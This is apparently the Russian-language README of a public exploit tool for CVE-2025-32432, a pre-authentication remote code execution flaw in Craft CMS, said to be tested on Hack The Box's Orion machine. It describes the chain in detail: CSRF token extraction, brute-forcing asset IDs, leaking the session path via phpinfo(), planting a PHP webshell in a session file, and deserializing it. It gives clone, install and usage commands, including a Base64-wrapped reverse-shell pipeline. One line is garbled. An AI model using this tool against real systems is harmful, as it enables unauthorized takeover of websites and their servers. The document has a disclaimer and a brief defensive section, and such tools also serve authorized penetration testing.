Надёжный эксплойт pre-auth RCE для CVE-2025-32432 в Craft CMS 3.x/4.x/5.x, работает там, где другие публичные PoC не справляются
Автор: P34NUT2
Уязвимость: Удалённое выполнение кода (до аутентификации) в Craft CMS
CVE: CVE-2025-32432
Цель: Любой уязвимый экземпляр Craft CMS (3.x / 4.x / 5.x) — протестировано на Hack The Box: Orion
Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования на проникновение в контролируемых средах, таких как Hack The Box, TryHackMe или частных лабораторных стендах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Неавторизованное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным в соответствии с Computer Fraud and Abuse Act (CFAA), Директивой ЕС об атаках на информационные системы и аналогичными законами в большинстве юрисдикций мира.
Автор не несёт никакой ответственности за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого программного обеспечения. Используйте ответственно и этично.
Большинство публичных PoC для CVE-2025-32432 не работают против реальных целей, таких как HTB: Orion, из-за:
&, , )><Этот эксплойт был написан с нуля для решения этих проблем надёжности. Он корректно обрабатывает URL-кодирование, автоматизирует динамическое извлечение токенов и использует конвейеры с обёрткой Base64 для достижения надёжного выполнения против любого уязвимого экземпляра Craft CMS — проверено на реальных развёртываниях и доказано на HTB Orion.
| Шаг | Действие | Описание |
|---|---|---|
| 1 | Получение сессии и CSRF | Извлекает CraftSessionId, CRAFT_CSRF_TOKEN и динамический CSRF_TOKEN из административной конечной точки |
| 2 | Обнаружение Asset ID | Перебором находит валидные Asset ID, необходимые для полезной нагрузки генерации трансформации |
| 3 | Утечка пути к сессии | Внедряет объект Guzzle для вызова phpinfo() и динамического чтения session.save_path |
| 4 | Отравление сессии | Внедряет URL-кодированную полезную нагрузку PHP-вебшелла в активный файл сессии |
| 5 | Запуск RCE | Десериализует отравленную сессию для выполнения произвольных системных команд |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| Флаг | Длинная опция | Обязательный | Описание |
|---|---|---|---|
-u | --url | ✅ Да | Базовый URL цели (например, http://example.com) |
-c | --cmd | ✅ Да | Команда для выполнения на удалённой цели |
-a | --asset | ❌ Нет | Известный валидный Asset ID (ускоряет выполнение) |
-s | --scan-max | ❌ Нет | Максимальный диапазон перебора Asset ID (по умолчанию: 300) |
1. Базовое выполнение команды
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. С известным Asset ID (быстрее)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. Закодированная полезная нагрузка (рекомендуется для специальных символов)
Чтобы специальные символы не изменялись HTTP-парсерами или не усекались при обработке сессии, закодируйте вашу команду в Base64 перед передачей:
# Шаг 1 — закодируйте команду локально
echo -n "YOUR_COMMAND_HERE" | base64
# Шаг 2 — передайте закодированную строку через скрипт
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Обратная оболочка через обёртку Base64
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Если вы системный администратор или разработчик, использующий Craft CMS, примените следующие меры защиты:
/actions/*) с помощью правил файрвола или промежуточного ПО.Этот проект лицензирован только для образовательного и авторизованного тестирования. Подробности см. в LICENSE.